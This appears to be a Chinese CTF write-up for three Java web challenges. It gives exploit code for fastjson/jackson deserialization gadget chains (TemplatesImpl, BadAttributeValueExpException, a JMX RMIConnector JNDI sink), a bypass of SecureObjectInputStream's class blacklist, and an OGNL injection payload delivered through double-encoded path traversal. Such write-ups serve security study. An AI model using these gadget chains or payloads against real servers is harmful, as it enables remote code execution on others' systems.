ezbean
题目给了mybean,getConnect()可以触发任意connect方法,这里可以使用jmx的sink类,用来打jndi或二次反序列化
那么现在问题就在于如何触发getter,题目依赖存在fastjson,可以从JSONObject或者JSONArray的toString方法触发toJSONString,从而触发getter,
而调用toString的方法可以用BadAttribute,大致的思路就是这样
mybean放在JSONObject当中就不会走题目自定义的resolveClass,从而绕过黑名单
exp1
题目所用的fastjson版本比较高,写了自己的readObject方法,使用了自定义的SecureObjectInputStream,其中重写了resolveClass,会在里面判断autotype黑名单,所以我们这里只能用题目给的mybean来作为sink,触发jmx
由于同时fastjson自己的readObject方法最终会走到SecureObjectInputStream的resolveClass中,所以也不会触发题目的黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public static void main(String[] args) throws Exception { JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); setFieldValue(jmxServiceURL, "urlPath", "/stub/" + "base64"); RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null); MyBean myBean = new MyBean("1","2",rmiConnector);
JSONObject jsonObject = new JSONObject(); jsonObject.put("name",myBean);
BadAttributeValueExpException bd= new BadAttributeValueExpException(null); setFieldValue(bd, "val", jsonObject);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(bd);
String baseStr = Base64.getEncoder().encodeToString(barr.toByteArray()); System.out.println(baseStr);
}
|
exp2
高版本的SecureObjectInputStream这个限制其实是可以绕过的,在java.io.ObjectInputStream#readObject0的调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象,我们只要在这个函数中走进一些不经过resolveClass的分支即可,这里可以用Reference类型来绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", bytes); setFieldValue(templates, "_name", "y4tacker"); setFieldValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); arrayList.add(val);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(arrayList);
String baseStr = Base64.getEncoder().encodeToString(barr.toByteArray()); System.out.println(baseStr);
}
|
Bypassit I
和mybean类似,这里利用的jackson的toString,触发任意getter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get("com.ctf.bypassit.Evil"); byte[] code = cc.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_name", "A.R."); setFieldValue(templates,"_class",null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates,"_sdom" , new ThreadLocal());
ArrayNode arrayNode = JsonNodeFactory.instance.arrayNode(); arrayNode.addPOJO(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); setFieldValue(val, "val", arrayNode);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val);
Unirest.setProxy(HttpHost.create("http://127.0.0.1:8080"));
String url = "http://127.0.0.1:8081/bypassit"; String payload =new String(Base64.getEncoder().encode(barr.toByteArray())); String res = Unirest.post(url).body(Base64.getDecoder().decode(payload)).asString().getBody(); System.out.println(res); System.out.println(payload);
}
|
Bypassit II
有时间看看。。
the path to shell
app.war 里 UserController 直接将请求参数 name 拼接到 feign client 的请求路径里,从 localhost 去调用 backend.war 中的接口。因此若能借助 name 参数进行请求路径穿越,则可以请求到 backend.war ActionServlet 接口进行表达式注入利用。
feign client 在处理请求路径参数时,feign 默认会做url编码,绝大部分特殊字符会被编码,也就不能../往上跳。但如果是 %2F它会再替换成 /,所以 %2F..%2F..%2F..%2F 就能跳了
打action接口ognl注入
1
| ((new javax.script.ScriptEngineManager()).getEngineByName('js')).eval('java.lang.Runtime.getRuntime().exec("touch /tmp/pwned")')
|
二次编码
1
| http://localhost:8080/app/user/%252E%252E%252F%252E%252E%252F%252E%252E%252Fbackend%252Faction%252F%2528%2528new%2520javax%252Escript%252EScriptEngineManager%2528%2529%2529%252EgetEngineByName%2528%2527js%2527%2529%2529%252Eeval%2528%2527java%252Elang%252ERuntime%252EgetRuntime%2528%2529%252Eexec%2528%2522calc%2522%2529%2527%2529
|
Reference
AliyunCTF官方writeup - 先知社区
FastJson与原生反序列化 | Y4tacker’s Blog
FastJson与原生反序列化(二) | Y4tacker’s Blog